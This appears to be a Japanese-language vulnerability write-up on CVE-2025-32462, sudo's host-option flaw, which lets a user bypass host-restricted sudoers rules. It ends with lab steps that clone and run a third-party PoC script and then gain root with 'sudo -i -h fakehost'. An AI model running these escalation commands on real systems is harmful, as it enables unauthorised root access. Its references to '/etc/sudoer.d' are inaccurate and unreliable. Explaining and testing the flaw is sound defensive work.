sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
sudo -h(--host)のドキュメントには、-hは-lとのみ一緒に使用できると書かれています。後のアップデートでsudo -hが-e、-iなどと一緒に使えるようになりました。
sudo --host(-h) <username> -l(--list)
/etc/sudoer.dは、ユーザーがシステム内でどのような権限を持っているかを確認するために使用されます。この権限はバイパスされる可能性があり、あるシステム上でのユーザーの権限を、別のシステムで持つ可能性のある権限に昇格させることができます。特に、複数のコンピュータ間で単一のsudoers設定ファイルを共有するシステムや、ネットワークベースのユーザーディレクトリ（LDAPなど）を使用してシステムのsudoersルールを提供するシステムに影響します。
まとめると、sudoのh/--hostオプションは最小権限の原則に従っておらず、-l以外のシナリオ（コマンド実行など）でホストルールの境界を検証していません。攻撃者は/etc/sudoer.dファイルに悪意のあるルールを設定できます。
主に、複数のマシンで同一のsudoersファイルを使用するシステム管理者のシステムに影響します。
脆弱性の悪用には2つの要件を満たす必要があります
攻撃者が認証済みユーザーを取得していること
システムがデフォルト構成ではなく、sudoersファイルに存在する追加ルールに依存していること
例：
sudoersファイルには、そのユーザーが異なるシステムで持つ権限を定義するルールが含まれています。
Alice hostA: some Privilege
Bob hostB: some Privilege
BobがhostAにログインし、コマンドsudo -h hostB commandAを実行します。
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root